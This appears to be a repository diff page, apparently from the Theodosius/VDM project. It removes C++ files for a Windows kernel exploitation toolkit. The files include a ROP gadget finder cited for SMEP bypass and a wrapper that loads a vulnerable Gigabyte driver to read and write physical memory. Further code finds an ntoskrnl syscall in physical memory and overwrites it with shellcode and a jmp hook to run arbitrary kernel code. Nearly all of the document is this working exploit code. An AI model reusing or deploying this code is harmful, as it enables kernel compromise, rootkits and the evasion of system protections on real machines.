||||
namespace pe
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||
|
||||
// returns an std::vector containing all of the bytes of the section
|
||||
// and also the RVA from the image base to the beginning of the section...
|
||||
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||
{
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// sometimes section names are not null terminated...
|
||||
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
|
||||
{
|
||||
const auto section_base =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
module_base + section_header[idx].VirtualAddress);
|
||||
|
||||
const auto section_end =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
section_base + section_header[idx].Misc.VirtualSize);
|
||||
|
||||
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||
return { section_bin, section_header[idx].VirtualAddress };
|
||||
}
|
||||
}
|
||||
|
||||
return { {}, {} };
|
||||
}
|
||||
|
||||
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||
{
|
||||
if (!module_base)
|
||||
return;
|
||||
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// keep looping until the callback returns false...
|
||||
if (!callback(§ion_header[idx], module_base))
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
namespace rop
|
||||
{
|
||||
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||
// just implimented the rop information from these posts...
|
||||
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
kmodule::each_module(
|
||||
[&](auto kernel_image, const char* image_name) -> bool
|
||||
{
|
||||
utils::pe::each_section(
|
||||
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||
{
|
||||
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||
{
|
||||
const auto rop_gadget =
|
||||
utils::scan(image_base + section_header->VirtualAddress,
|
||||
section_header->Misc.VirtualSize, sig, mask);
|
||||
|
||||
if(rop_gadget)
|
||||
result = (rop_gadget - image_base) +
|
||||
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||
|
||||
return !rop_gadget;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(image_name,
|
||||
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||
);
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,139 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../utils.hpp"
|
||||
#include "loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _gdrv_t
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t phys_addr;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} gdrv_t, *pgdrv_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
vdm::raw_driver,
|
||||
sizeof(vdm::raw_driver)
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
vdm::drv_handle = CreateFileA(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key, result };
|
||||
}
|
||||
|
||||
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, out_buffer[0], size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
|
||||
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(out_buffer[0], buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
#include "vdm_ctx.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||
:
|
||||
read_phys(read_func),
|
||||
write_phys(write_func)
|
||||
{
|
||||
// already found the syscall's physical page...
|
||||
if (vdm::syscall_address.load())
|
||||
return;
|
||||
|
||||
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
vdm::nt_rva =
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe",
|
||||
syscall_hook.first
|
||||
) - utils::kmodule::get_base("ntoskrnl.exe");
|
||||
|
||||
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||
// for each physical memory range, make a thread to search it
|
||||
std::vector<std::thread> search_threads;
|
||||
for (auto ranges : utils::pmem_ranges)
|
||||
search_threads.emplace_back(std::thread(
|
||||
&vdm_ctx::locate_syscall,
|
||||
this,
|
||||
ranges.first,
|
||||
ranges.second
|
||||
));
|
||||
|
||||
for (std::thread& search_thread : search_threads)
|
||||
search_thread.join();
|
||||
}
|
||||
|
||||
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||
{
|
||||
this->read_phys = read_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||
{
|
||||
this->write_phys = write_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||
{
|
||||
const auto page_data =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
VirtualAlloc(
|
||||
nullptr,
|
||||
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||
{
|
||||
if (vdm::syscall_address.load())
|
||||
break;
|
||||
|
||||
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||
continue;
|
||||
|
||||
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||
syscall_address.store(
|
||||
reinterpret_cast<void*>(
|
||||
address + page + nt_page_offset));
|
||||
}
|
||||
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||
}
|
||||
|
||||
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||
{
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
// 0: 48 31 c0 xor rax, rax
|
||||
// 3 : c3 ret
|
||||
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||
std::uint8_t orig_bytes[sizeof shellcode];
|
||||
|
||||
// save original bytes and install shellcode...
|
||||
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||
|
||||
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
syscall_mutex.unlock();
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <functional>
|
||||
#include "../vdm/vdm.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
// change this to whatever you want :^)
|
||||
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||
inline std::atomic<bool> is_page_found = false;
|
||||
inline std::atomic<void*> syscall_address = nullptr;
|
||||
inline std::uint16_t nt_page_offset;
|
||||
inline std::uint32_t nt_rva;
|
||||
inline std::uint8_t* ntoskrnl;
|
||||
|
||||
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||
|
||||
class vdm_ctx
|
||||
{
|
||||
public:
|
||||
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||
void set_read(read_phys_t& read_func);
|
||||
void set_write(write_phys_t& write_func);
|
||||
|
||||
template <class T, class ... Ts>
|
||||
__forceinline std::invoke_result_t<T, Ts ...> syscall(void* addr, Ts ... args) const
|
||||
{
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
// jmp [rip+0x0]
|
||||
std::uint8_t jmp_code[] =
|
||||
{
|
||||
0xff, 0x25, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
// execute hook...
|
||||
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
syscall_mutex.unlock();
|
||||
return result;
|
||||
}
|
||||
private:
|
||||
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||
bool valid_syscall(void* syscall_addr) const;
|
||||
|
||||
read_phys_t read_phys;
|
||||
write_phys_t write_phys;
|
||||
};
|
||||
}
|
@ -1,158 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{b047b17d-dff0-4d85-bfb1-e6eab444670a}</ProjectGuid>
|
||||
<RootNamespace>TheodosiusServer</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="client.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="client.hpp" />
|
||||
<ClInclude Include="linker.hpp" />
|
||||
<ClInclude Include="theo.h" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in new issue